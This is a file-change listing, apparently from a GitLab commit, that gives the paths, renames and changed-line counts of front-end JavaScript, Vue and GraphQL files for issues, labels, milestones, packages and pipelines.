-rw-r--r--app/assets/javascripts/issues/new/index.js56
-rw-r--r--app/assets/javascripts/issues/new/queries/issues.query.graphql29
-rw-r--r--app/assets/javascripts/issues/related_merge_requests/components/related_merge_requests.vue120
-rw-r--r--app/assets/javascripts/issues/related_merge_requests/index.js (renamed from app/assets/javascripts/related_merge_requests/index.js)0
-rw-r--r--app/assets/javascripts/issues/related_merge_requests/store/actions.js (renamed from app/assets/javascripts/related_merge_requests/store/actions.js)0
-rw-r--r--app/assets/javascripts/issues/related_merge_requests/store/index.js (renamed from app/assets/javascripts/related_merge_requests/store/index.js)0
-rw-r--r--app/assets/javascripts/issues/related_merge_requests/store/mutation_types.js (renamed from app/assets/javascripts/related_merge_requests/store/mutation_types.js)0
-rw-r--r--app/assets/javascripts/issues/related_merge_requests/store/mutations.js (renamed from app/assets/javascripts/related_merge_requests/store/mutations.js)0
-rw-r--r--app/assets/javascripts/issues/related_merge_requests/store/state.js (renamed from app/assets/javascripts/related_merge_requests/store/state.js)0
-rw-r--r--app/assets/javascripts/issues/sentry_error_stack_trace/components/sentry_error_stack_trace.vue (renamed from app/assets/javascripts/sentry_error_stack_trace/components/sentry_error_stack_trace.vue)0
-rw-r--r--app/assets/javascripts/issues/sentry_error_stack_trace/index.js (renamed from app/assets/javascripts/sentry_error_stack_trace/index.js)0
-rw-r--r--app/assets/javascripts/issues/show.js59
-rw-r--r--app/assets/javascripts/issues/show/components/app.vue558
-rw-r--r--app/assets/javascripts/issues/show/components/delete_issue_modal.vue71
-rw-r--r--app/assets/javascripts/issues/show/components/description.vue169
-rw-r--r--app/assets/javascripts/issues/show/components/edit_actions.vue141
-rw-r--r--app/assets/javascripts/issues/show/components/edited.vue45
-rw-r--r--app/assets/javascripts/issues/show/components/fields/description.vue (renamed from app/assets/javascripts/issue_show/components/fields/description.vue)0
-rw-r--r--app/assets/javascripts/issues/show/components/fields/description_template.vue111
-rw-r--r--app/assets/javascripts/issues/show/components/fields/title.vue (renamed from app/assets/javascripts/issue_show/components/fields/title.vue)0
-rw-r--r--app/assets/javascripts/issues/show/components/fields/type.vue (renamed from app/assets/javascripts/issue_show/components/fields/type.vue)0
-rw-r--r--app/assets/javascripts/issues/show/components/form.vue227
-rw-r--r--app/assets/javascripts/issues/show/components/header_actions.vue345
-rw-r--r--app/assets/javascripts/issues/show/components/incidents/graphql/queries/get_alert.graphql23
-rw-r--r--app/assets/javascripts/issues/show/components/incidents/highlight_bar.vue63
-rw-r--r--app/assets/javascripts/issues/show/components/incidents/incident_tabs.vue81
-rw-r--r--app/assets/javascripts/issues/show/components/locked_warning.vue (renamed from app/assets/javascripts/issue_show/components/locked_warning.vue)0
-rw-r--r--app/assets/javascripts/issues/show/components/pinned_links.vue (renamed from app/assets/javascripts/issue_show/components/pinned_links.vue)0
-rw-r--r--app/assets/javascripts/issues/show/components/title.vue (renamed from app/assets/javascripts/issue_show/components/title.vue)0
-rw-r--r--app/assets/javascripts/issues/show/constants.js22
-rw-r--r--app/assets/javascripts/issues/show/event_hub.js (renamed from app/assets/javascripts/issuable_show/event_hub.js)0
-rw-r--r--app/assets/javascripts/issues/show/graphql.js (renamed from app/assets/javascripts/issue_show/graphql.js)0
-rw-r--r--app/assets/javascripts/issues/show/incident.js101
-rw-r--r--app/assets/javascripts/issues/show/issue.js86
-rw-r--r--app/assets/javascripts/issues/show/mixins/animate.js (renamed from app/assets/javascripts/issue_show/mixins/animate.js)0
-rw-r--r--app/assets/javascripts/issues/show/mixins/update.js (renamed from app/assets/javascripts/issue_show/mixins/update.js)0
-rw-r--r--app/assets/javascripts/issues/show/queries/get_issue_state.query.graphql (renamed from app/assets/javascripts/issue_show/queries/get_issue_state.query.graphql)0
-rw-r--r--app/assets/javascripts/issues/show/queries/promote_to_epic.mutation.graphql9
-rw-r--r--app/assets/javascripts/issues/show/queries/update_issue.mutation.graphql (renamed from app/assets/javascripts/issue_show/queries/update_issue.mutation.graphql)0
-rw-r--r--app/assets/javascripts/issues/show/queries/update_issue_state.mutation.graphql (renamed from app/assets/javascripts/issue_show/queries/update_issue_state.mutation.graphql)0
-rw-r--r--app/assets/javascripts/issues/show/services/index.js29
-rw-r--r--app/assets/javascripts/issues/show/stores/index.js (renamed from app/assets/javascripts/issue_show/stores/index.js)0
-rw-r--r--app/assets/javascripts/issues/show/utils/parse_data.js (renamed from app/assets/javascripts/issue_show/utils/parse_data.js)0
-rw-r--r--app/assets/javascripts/issues/show/utils/update_description.js (renamed from app/assets/javascripts/issue_show/utils/update_description.js)0
-rw-r--r--app/assets/javascripts/issues_list/components/issuable.vue2
-rw-r--r--app/assets/javascripts/issues_list/components/issuables_list_app.vue12
-rw-r--r--app/assets/javascripts/issues_list/components/issue_card_time_info.vue18
-rw-r--r--app/assets/javascripts/issues_list/components/issues_list_app.vue171
-rw-r--r--app/assets/javascripts/issues_list/constants.js59
-rw-r--r--app/assets/javascripts/issues_list/index.js6
-rw-r--r--app/assets/javascripts/issues_list/queries/get_issues.query.graphql2
-rw-r--r--app/assets/javascripts/issues_list/queries/get_issues_counts.query.graphql2
-rw-r--r--app/assets/javascripts/issues_list/queries/get_issues_list_details.query.graphql3
-rw-r--r--app/assets/javascripts/issues_list/queries/issue.fragment.graphql1
-rw-r--r--app/assets/javascripts/issues_list/queries/iteration.fragment.graphql10
-rw-r--r--app/assets/javascripts/issues_list/queries/search_iterations.query.graphql18
-rw-r--r--app/assets/javascripts/issues_list/queries/search_labels.query.graphql2
-rw-r--r--app/assets/javascripts/issues_list/queries/search_milestones.query.graphql2
-rw-r--r--app/assets/javascripts/issues_list/queries/search_projects.query.graphql1
-rw-r--r--app/assets/javascripts/issues_list/queries/search_users.query.graphql4
-rw-r--r--app/assets/javascripts/issues_list/utils.js3
-rw-r--r--app/assets/javascripts/jira_connect/branches/graphql/queries/get_project.query.graphql1
-rw-r--r--app/assets/javascripts/jira_connect/branches/index.js2
-rw-r--r--app/assets/javascripts/jira_connect/subscriptions/components/app.vue4
-rw-r--r--app/assets/javascripts/jira_connect/subscriptions/components/user_link.vue67
-rw-r--r--app/assets/javascripts/jira_connect/subscriptions/index.js21
-rw-r--r--app/assets/javascripts/jira_import/queries/get_jira_import_details.query.graphql1
-rw-r--r--app/assets/javascripts/jira_import/queries/jira_import.fragment.graphql1
-rw-r--r--app/assets/javascripts/jira_import/queries/search_project_members.query.graphql2
-rw-r--r--app/assets/javascripts/jobs/bridge/app.vue20
-rw-r--r--app/assets/javascripts/jobs/bridge/components/constants.js1
-rw-r--r--app/assets/javascripts/jobs/bridge/components/empty_state.vue45
-rw-r--r--app/assets/javascripts/jobs/bridge/components/sidebar.vue98
-rw-r--r--app/assets/javascripts/jobs/components/job_log_controllers.vue2
-rw-r--r--app/assets/javascripts/jobs/components/sidebar.vue2
-rw-r--r--app/assets/javascripts/jobs/components/sidebar_job_details_container.vue5
-rw-r--r--app/assets/javascripts/jobs/components/table/cells/actions_cell.vue16
-rw-r--r--app/assets/javascripts/jobs/components/table/cells/pipeline_cell.vue10
-rw-r--r--app/assets/javascripts/jobs/components/table/constants.js67
-rw-r--r--app/assets/javascripts/jobs/components/table/graphql/queries/get_jobs.query.graphql7
-rw-r--r--app/assets/javascripts/jobs/components/table/jobs_table.vue69
-rw-r--r--app/assets/javascripts/jobs/index.js39
-rw-r--r--app/assets/javascripts/label_manager.js146
-rw-r--r--app/assets/javascripts/labels/components/delete_label_modal.vue (renamed from app/assets/javascripts/vue_shared/components/delete_label_modal.vue)0
-rw-r--r--app/assets/javascripts/labels/components/promote_label_modal.vue (renamed from app/assets/javascripts/pages/projects/labels/components/promote_label_modal.vue)0
-rw-r--r--app/assets/javascripts/labels/create_label_dropdown.js131
-rw-r--r--app/assets/javascripts/labels/event_hub.js (renamed from app/assets/javascripts/issue_show/event_hub.js)0
-rw-r--r--app/assets/javascripts/labels/group_label_subscription.js76
-rw-r--r--app/assets/javascripts/labels/index.js137
-rw-r--r--app/assets/javascripts/labels/label_manager.js146
-rw-r--r--app/assets/javascripts/labels/labels.js (renamed from app/assets/javascripts/labels.js)0
-rw-r--r--app/assets/javascripts/labels/labels_select.js515
-rw-r--r--app/assets/javascripts/labels/project_label_subscription.js77
-rw-r--r--app/assets/javascripts/labels_select.js515
-rw-r--r--app/assets/javascripts/lib/dompurify.js2
-rw-r--r--app/assets/javascripts/lib/utils/common_utils.js11
-rw-r--r--app/assets/javascripts/lib/utils/constants.js1
-rw-r--r--app/assets/javascripts/lib/utils/dom_utils.js14
-rw-r--r--app/assets/javascripts/lib/utils/intersection_observer.js28
-rw-r--r--app/assets/javascripts/lib/utils/navigation_utility.js39
-rw-r--r--app/assets/javascripts/lib/utils/url_utility.js2
-rw-r--r--app/assets/javascripts/main.js40
-rw-r--r--app/assets/javascripts/members/components/action_buttons/access_request_action_buttons.vue1
-rw-r--r--app/assets/javascripts/members/components/action_buttons/invite_action_buttons.vue2
-rw-r--r--app/assets/javascripts/members/components/action_buttons/remove_member_button.vue16
-rw-r--r--app/assets/javascripts/members/components/action_buttons/user_action_buttons.vue18
-rw-r--r--app/assets/javascripts/members/components/table/member_action_buttons.vue5
-rw-r--r--app/assets/javascripts/members/components/table/members_table.vue5
-rw-r--r--app/assets/javascripts/merge_conflicts/merge_conflicts_bundle.js2
-rw-r--r--app/assets/javascripts/milestone.js49
-rw-r--r--app/assets/javascripts/milestone_select.js273
-rw-r--r--app/assets/javascripts/milestones/components/delete_milestone_modal.vue (renamed from app/assets/javascripts/pages/milestones/shared/components/delete_milestone_modal.vue)0
-rw-r--r--app/assets/javascripts/milestones/components/promote_milestone_modal.vue (renamed from app/assets/javascripts/pages/milestones/shared/components/promote_milestone_modal.vue)0
-rw-r--r--app/assets/javascripts/milestones/event_hub.js (renamed from app/assets/javascripts/pages/milestones/shared/event_hub.js)0
-rw-r--r--app/assets/javascripts/milestones/index.js123
-rw-r--r--app/assets/javascripts/milestones/milestone.js49
-rw-r--r--app/assets/javascripts/milestones/milestone_select.js273
-rw-r--r--app/assets/javascripts/milestones/utils.js (renamed from app/assets/javascripts/milestones/milestone_utils.js)0
-rw-r--r--app/assets/javascripts/monitoring/queries/getDashboardValidationWarnings.query.graphql1
-rw-r--r--app/assets/javascripts/mr_popover/components/mr_popover.vue11
-rw-r--r--app/assets/javascripts/mr_popover/queries/merge_request.query.graphql5
-rw-r--r--app/assets/javascripts/network/branch_graph.js10
-rw-r--r--app/assets/javascripts/notes/components/comment_form.vue26
-rw-r--r--app/assets/javascripts/notes/components/diff_with_note.vue14
-rw-r--r--app/assets/javascripts/notes/components/discussion_filter.vue3
-rw-r--r--app/assets/javascripts/notes/components/discussion_locked_widget.vue12
-rw-r--r--app/assets/javascripts/notes/components/discussion_notes.vue90
-rw-r--r--app/assets/javascripts/notes/components/note_body.vue2
-rw-r--r--app/assets/javascripts/notes/components/noteable_discussion.vue18
-rw-r--r--app/assets/javascripts/notes/components/noteable_note.vue15
-rw-r--r--app/assets/javascripts/notes/components/notes_app.vue8
-rw-r--r--app/assets/javascripts/notes/components/sidebar_subscription.vue2
-rw-r--r--app/assets/javascripts/notes/i18n.js16
-rw-r--r--app/assets/javascripts/notes/stores/actions.js3
-rw-r--r--app/assets/javascripts/notes/stores/mutation_types.js1
-rw-r--r--app/assets/javascripts/notes/stores/mutations.js4
-rw-r--r--app/assets/javascripts/packages/list/components/packages_list.vue129
-rw-r--r--app/assets/javascripts/packages/list/components/packages_list_app.vue116
-rw-r--r--app/assets/javascripts/packages/list/constants.js99
-rw-r--r--app/assets/javascripts/packages/list/packages_list_app_bundle.js23
-rw-r--r--app/assets/javascripts/packages/list/stores/actions.js83
-rw-r--r--app/assets/javascripts/packages/list/stores/getters.js5
-rw-r--r--app/assets/javascripts/packages/shared/components/package_list_row.vue174
-rw-r--r--app/assets/javascripts/packages/shared/constants.js49
-rw-r--r--app/assets/javascripts/packages/shared/utils.js43
-rw-r--r--app/assets/javascripts/packages_and_registries/container_registry/explorer/components/details_page/delete_modal.vue1
-rw-r--r--app/assets/javascripts/packages_and_registries/container_registry/explorer/components/details_page/details_header.vue1
-rw-r--r--app/assets/javascripts/packages_and_registries/container_registry/explorer/components/details_page/tags_list.vue86
-rw-r--r--app/assets/javascripts/packages_and_registries/container_registry/explorer/graphql/queries/get_container_repositories_details.query.graphql2
-rw-r--r--app/assets/javascripts/packages_and_registries/container_registry/explorer/graphql/queries/get_container_repository_details.query.graphql1
-rw-r--r--app/assets/javascripts/packages_and_registries/container_registry/explorer/graphql/queries/get_container_repository_tags.query.graphql1
-rw-r--r--app/assets/javascripts/packages_and_registries/container_registry/explorer/pages/details.vue6
-rw-r--r--app/assets/javascripts/packages_and_registries/container_registry/explorer/pages/list.vue1
-rw-r--r--app/assets/javascripts/packages_and_registries/dependency_proxy/app.vue17
-rw-r--r--app/assets/javascripts/packages_and_registries/dependency_proxy/graphql/queries/get_dependency_proxy_details.query.graphql2
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/components/infrastructure_search.vue45
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/details/components/app.vue23
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/details/store/actions.js2
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/list/components/infrastructure_search.vue45
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/list/components/infrastructure_title.vue (renamed from app/assets/javascripts/packages_and_registries/infrastructure_registry/components/infrastructure_title.vue)0
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/list/components/packages_list.vue127
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/list/components/packages_list_app.vue119
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/list/constants.js51
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/list/stores/actions.js83
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/list/stores/getters.js5
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/list/stores/index.js (renamed from app/assets/javascripts/packages/list/stores/index.js)0
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/list/stores/mutation_types.js (renamed from app/assets/javascripts/packages/list/stores/mutation_types.js)0
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/list/stores/mutations.js (renamed from app/assets/javascripts/packages/list/stores/mutations.js)0
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/list/stores/state.js (renamed from app/assets/javascripts/packages/list/stores/state.js)0
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/list/utils.js (renamed from app/assets/javascripts/packages/list/utils.js)0
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/list_app_bundle.js7
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/shared/constants.js1
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/shared/infrastructure_icon_and_name.vue (renamed from app/assets/javascripts/packages_and_registries/infrastructure_registry/components/infrastructure_icon_and_name.vue)0
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/shared/package_list_row.vue161
-rw-r--r--app/assets/javascripts/packages_and_registries/package_registry/components/details/app.vue4
-rw-r--r--app/assets/javascripts/packages_and_registries/package_registry/components/details/package_title.vue2
-rw-r--r--app/assets/javascripts/packages_and_registries/package_registry/components/details/version_row.vue4
-rw-r--r--app/assets/javascripts/packages_and_registries/package_registry/components/list/app.vue198
-rw-r--r--app/assets/javascripts/packages_and_registries/package_registry/components/list/package_list_row.vue17
-rw-r--r--app/assets/javascripts/packages_and_registries/package_registry/components/list/packages_list.vue3
-rw-r--r--app/assets/javascripts/packages_and_registries/package_registry/constants.js24
-rw-r--r--app/assets/javascripts/packages_and_registries/package_registry/graphql/fragments/package_data.fragment.graphql6
-rw-r--r--app/assets/javascripts/packages_and_registries/package_registry/graphql/queries/get_package_details.query.graphql7
-rw-r--r--app/assets/javascripts/packages_and_registries/package_registry/graphql/queries/get_packages.query.graphql2
-rw-r--r--app/assets/javascripts/packages_and_registries/package_registry/index.js30
-rw-r--r--app/assets/javascripts/packages_and_registries/package_registry/pages/index.vue5
-rw-r--r--app/assets/javascripts/packages_and_registries/package_registry/pages/list.js24
-rw-r--r--app/assets/javascripts/packages_and_registries/package_registry/pages/list.vue200
-rw-r--r--app/assets/javascripts/packages_and_registries/package_registry/router.js21
-rw-r--r--app/assets/javascripts/packages_and_registries/settings/group/bundle.js3
-rw-r--r--app/assets/javascripts/packages_and_registries/settings/group/components/dependency_proxy_settings.vue123
-rw-r--r--app/assets/javascripts/packages_and_registries/settings/group/components/group_settings_app.vue4
-rw-r--r--app/assets/javascripts/packages_and_registries/settings/group/components/settings_titles.vue7
-rw-r--r--app/assets/javascripts/packages_and_registries/settings/group/graphql/mutations/update_dependency_proxy_image_ttl_group_policy.mutation.graphql11
-rw-r--r--app/assets/javascripts/packages_and_registries/settings/group/graphql/queries/get_group_packages_settings.query.graphql5
-rw-r--r--app/assets/javascripts/packages_and_registries/settings/group/graphql/utils/cache_update.js5
-rw-r--r--app/assets/javascripts/packages_and_registries/settings/group/graphql/utils/optimistic_responses.js12
-rw-r--r--app/assets/javascripts/packages_and_registries/settings/project/graphql/queries/get_expiration_policy.query.graphql1
-rw-r--r--app/assets/javascripts/packages_and_registries/shared/components/package_icon_and_name.vue (renamed from app/assets/javascripts/packages/shared/components/package_icon_and_name.vue)0
-rw-r--r--app/assets/javascripts/packages_and_registries/shared/components/package_path.vue (renamed from app/assets/javascripts/packages/shared/components/package_path.vue)0
-rw-r--r--app/assets/javascripts/packages_and_registries/shared/components/package_tags.vue (renamed from app/assets/javascripts/packages/shared/components/package_tags.vue)0
-rw-r--r--app/assets/javascripts/packages_and_registries/shared/components/packages_list_loader.vue (renamed from app/assets/javascripts/packages/shared/components/packages_list_loader.vue)0
-rw-r--r--app/assets/javascripts/packages_and_registries/shared/components/publish_method.vue (renamed from app/assets/javascripts/packages/shared/components/publish_method.vue)0
-rw-r--r--app/assets/javascripts/packages_and_registries/shared/components/registry_list.vue124
-rw-r--r--app/assets/javascripts/packages_and_registries/shared/constants.js36
-rw-r--r--app/assets/javascripts/packages_and_registries/shared/utils.js10
-rw-r--r--app/assets/javascripts/pages/admin/integrations/edit/index.js18
-rw-r--r--app/assets/javascripts/pages/admin/labels/edit/index.js2
-rw-r--r--app/assets/javascripts/pages/admin/labels/index/index.js24
-rw-r--r--app/assets/javascripts/pages/admin/labels/new/index.js2
-rw-r--r--app/assets/javascripts/pages/admin/services/edit/index.js4
-rw-r--r--app/assets/javascripts/pages/admin/services/index/index.js4
-rw-r--r--app/assets/javascripts/pages/constants.js6
-rw-r--r--app/assets/javascripts/pages/dashboard/issues/index.js4
-rw-r--r--app/assets/javascripts/pages/dashboard/merge_requests/index.js2
-rw-r--r--app/assets/javascripts/pages/dashboard/milestones/show/index.js2
-rw-r--r--app/assets/javascripts/pages/dashboard/projects/index/components/customize_homepage_banner.vue102
-rw-r--r--app/assets/javascripts/pages/dashboard/projects/index/index.js2
-rw-r--r--app/assets/javascripts/pages/dashboard/projects/index/init_customize_homepage_banner.js16
-rw-r--r--app/assets/javascripts/pages/groups/issues/index.js6
-rw-r--r--app/assets/javascripts/pages/groups/labels/edit/index.js2
-rw-r--r--app/assets/javascripts/pages/groups/labels/index/index.js3
-rw-r--r--app/assets/javascripts/pages/groups/labels/new/index.js2
-rw-r--r--app/assets/javascripts/pages/groups/merge_requests/index.js4
-rw-r--r--app/assets/javascripts/pages/groups/milestones/edit/index.js2
-rw-r--r--app/assets/javascripts/pages/groups/milestones/new/index.js2
-rw-r--r--app/assets/javascripts/pages/groups/milestones/show/index.js5
-rw-r--r--app/assets/javascripts/pages/groups/packages/index/index.js4
-rw-r--r--app/assets/javascripts/pages/groups/settings/ci_cd/show/index.js2
-rw-r--r--app/assets/javascripts/pages/groups/settings/integrations/edit/index.js10
-rw-r--r--app/assets/javascripts/pages/help/ui/index.js3
-rw-r--r--app/assets/javascripts/pages/import/bulk_imports/history/components/bulk_imports_history_app.vue3
-rw-r--r--app/assets/javascripts/pages/milestones/shared/delete_milestone_modal_init.js75
-rw-r--r--app/assets/javascripts/pages/milestones/shared/index.js7
-rw-r--r--app/assets/javascripts/pages/milestones/shared/init_milestones_show.js11
-rw-r--r--app/assets/javascripts/pages/milestones/shared/promote_milestone_modal_init.js19
-rw-r--r--app/assets/javascripts/pages/profiles/personal_access_tokens/index.js3
-rw-r--r--app/assets/javascripts/pages/projects/constants.js4
-rw-r--r--app/assets/javascripts/pages/projects/edit/index.js6
-rw-r--r--app/assets/javascripts/pages/projects/incidents/show/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/issues/edit/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/issues/form.js25
-rw-r--r--app/assets/javascripts/pages/projects/issues/index/index.js13
-rw-r--r--app/assets/javascripts/pages/projects/issues/new/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/issues/service_desk/index.js11
-rw-r--r--app/assets/javascripts/pages/projects/issues/show.js60
-rw-r--r--app/assets/javascripts/pages/projects/issues/show/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/labels/edit/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/labels/index/index.js82
-rw-r--r--app/assets/javascripts/pages/projects/labels/new/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab.vue53
-rw-r--r--app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_section_link.vue49
-rw-r--r--app/assets/javascripts/pages/projects/learn_gitlab/index/index.js5
-rw-r--r--app/assets/javascripts/pages/projects/merge_requests/index/index.js12
-rw-r--r--app/assets/javascripts/pages/projects/merge_requests/init_merge_request.js8
-rw-r--r--app/assets/javascripts/pages/projects/merge_requests/init_merge_request_show.js2
-rw-r--r--app/assets/javascripts/pages/projects/merge_requests/queries/get_state.query.graphql2
-rw-r--r--app/assets/javascripts/pages/projects/merge_requests/show/index.js4
-rw-r--r--app/assets/javascripts/pages/projects/milestones/edit/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/milestones/index/index.js5
-rw-r--r--app/assets/javascripts/pages/projects/milestones/new/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/milestones/show/index.js8
-rw-r--r--app/assets/javascripts/pages/projects/packages/packages/index/index.js4
-rw-r--r--app/assets/javascripts/pages/projects/path_locks/index.js3
-rw-r--r--app/assets/javascripts/pages/projects/services/edit/index.js5
-rw-r--r--app/assets/javascripts/pages/projects/usage_quotas/index.js23
-rw-r--r--app/assets/javascripts/pages/shared/wikis/components/wiki_form.vue70
-rw-r--r--app/assets/javascripts/pdf/index.vue2
-rw-r--r--app/assets/javascripts/pipeline_editor/components/commit/commit_form.vue6
-rw-r--r--app/assets/javascripts/pipeline_editor/components/commit/commit_section.vue30
-rw-r--r--app/assets/javascripts/pipeline_editor/components/drawer/pipeline_editor_drawer.vue10
-rw-r--r--app/assets/javascripts/pipeline_editor/components/editor/text_editor.vue2
-rw-r--r--app/assets/javascripts/pipeline_editor/components/file_nav/branch_switcher.vue41
-rw-r--r--app/assets/javascripts/pipeline_editor/components/header/pipeline_status.vue28
-rw-r--r--app/assets/javascripts/pipeline_editor/components/header/validation_segment.vue7
-rw-r--r--app/assets/javascripts/pipeline_editor/components/lint/ci_lint_results.vue8
-rw-r--r--app/assets/javascripts/pipeline_editor/components/pipeline_editor_tabs.vue5
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/mutations/client/lint_ci.mutation.graphql (renamed from app/assets/javascripts/pipeline_editor/graphql/mutations/lint_ci.mutation.graphql)0
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/mutations/client/update_app_status.mutation.graphql (renamed from app/assets/javascripts/pipeline_editor/graphql/mutations/update_app_status.mutation.graphql)0
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/mutations/client/update_current_branch.mutation.graphql (renamed from app/assets/javascripts/pipeline_editor/graphql/mutations/update_current_branch.mutation.graphql)0
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/mutations/client/update_last_commit_branch.mutation.graphql (renamed from app/assets/javascripts/pipeline_editor/graphql/mutations/update_last_commit_branch.mutation.graphql)0
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/mutations/client/update_pipeline_etag.mutation.graphql (renamed from app/assets/javascripts/pipeline_editor/graphql/mutations/update_pipeline_etag.mutation.graphql)0
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/mutations/commit_ci_file.mutation.graphql3
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/queries/available_branches.graphql12
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/queries/available_branches.query.graphql13
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/queries/blob_content.graphql11
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/queries/blob_content.query.graphql13
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/queries/ci_config.query.graphql (renamed from app/assets/javascripts/pipeline_editor/graphql/queries/ci_config.graphql)0
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/queries/client/app_status.graphql3
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/queries/client/app_status.query.graphql5
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/queries/client/current_branch.graphql3
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/queries/client/current_branch.query.graphql7
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/queries/client/last_commit_branch.query.graphql6
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/queries/client/pipeline.graphql38
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/queries/client/pipeline_etag.graphql3
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/queries/client/pipeline_etag.query.graphql5
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/queries/get_starter_template.query.graphql1
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/queries/latest_commit_sha.query.graphql2
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/queries/pipeline.query.graphql41
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/resolvers.js46
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/typedefs.graphql22
-rw-r--r--app/assets/javascripts/pipeline_editor/index.js38
-rw-r--r--app/assets/javascripts/pipeline_editor/pipeline_editor_app.vue67
-rw-r--r--app/assets/javascripts/pipelines/components/graph/graph_view_selector.vue39
-rw-r--r--app/assets/javascripts/pipelines/components/graph/job_group_dropdown.vue2
-rw-r--r--app/assets/javascripts/pipelines/components/graph/job_item.vue8
-rw-r--r--app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue8
-rw-r--r--app/assets/javascripts/pipelines/components/jobs/jobs_app.vue121
-rw-r--r--app/assets/javascripts/pipelines/components/pipeline_graph/job_pill.vue2
-rw-r--r--app/assets/javascripts/pipelines/components/pipeline_graph/pipeline_graph.vue2
-rw-r--r--app/assets/javascripts/pipelines/components/pipeline_graph/stage_name.vue2
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipeline_stage.vue8
-rw-r--r--app/assets/javascripts/pipelines/graphql/queries/get_dag_vis_data.query.graphql5
-rw-r--r--app/assets/javascripts/pipelines/graphql/queries/get_pipeline_header_data.query.graphql2
-rw-r--r--app/assets/javascripts/pipelines/graphql/queries/get_pipeline_jobs.query.graphql70
-rw-r--r--app/assets/javascripts/pipelines/pipeline_details_bundle.js12
-rw-r--r--app/assets/javascripts/pipelines/pipeline_details_jobs.js34
-rw-r--r--app/assets/javascripts/project_label_subscription.js77
-rw-r--r--app/assets/javascripts/projects/commit/constants.js2
-rw-r--r--app/assets/javascripts/projects/commit_box/info/graphql/queries/get_linked_pipelines.query.graphql6
-rw-r--r--app/assets/javascripts/projects/new/components/new_project_url_select.vue34
-rw-r--r--app/assets/javascripts/projects/new/queries/search_namespaces_where_user_can_create_projects.query.graphql1
-rw-r--r--app/assets/javascripts/projects/pipelines/charts/components/app.vue25
-rw-r--r--app/assets/javascripts/projects/pipelines/charts/components/statistics_list.vue17
-rw-r--r--app/assets/javascripts/projects/pipelines/charts/graphql/queries/get_pipeline_count_by_status.query.graphql1
-rw-r--r--app/assets/javascripts/projects/pipelines/charts/graphql/queries/get_project_pipeline_statistics.query.graphql1
-rw-r--r--app/assets/javascripts/projects/pipelines/charts/index.js5
-rw-r--r--app/assets/javascripts/projects/settings/components/transfer_project_form.vue63
-rw-r--r--app/assets/javascripts/projects/settings/init_transfer_project_form.js53
-rw-r--r--app/assets/javascripts/projects/settings_service_desk/components/service_desk_setting.vue201
-rw-r--r--app/assets/javascripts/projects/storage_counter/components/app.vue106
-rw-r--r--app/assets/javascripts/projects/storage_counter/components/storage_table.vue88
-rw-r--r--app/assets/javascripts/projects/storage_counter/components/storage_type_icon.vue35
-rw-r--r--app/assets/javascripts/projects/storage_counter/constants.js61
-rw-r--r--app/assets/javascripts/projects/storage_counter/index.js51
-rw-r--r--app/assets/javascripts/projects/storage_counter/queries/project_storage.query.graphql16
-rw-r--r--app/assets/javascripts/projects/storage_counter/utils.js36
-rw-r--r--app/assets/javascripts/related_issues/components/issue_token.vue2
-rw-r--r--app/assets/javascripts/related_issues/components/related_issues_list.vue2
-rw-r--r--app/assets/javascripts/related_merge_requests/components/related_merge_requests.vue120
-rw-r--r--app/assets/javascripts/releases/graphql/fragments/release.fragment.graphql3
-rw-r--r--app/assets/javascripts/releases/graphql/fragments/release_for_editing.fragment.graphql1
-rw-r--r--app/assets/javascripts/releases/graphql/queries/all_releases.query.graphql1
-rw-r--r--app/assets/javascripts/releases/graphql/queries/one_release.query.graphql1
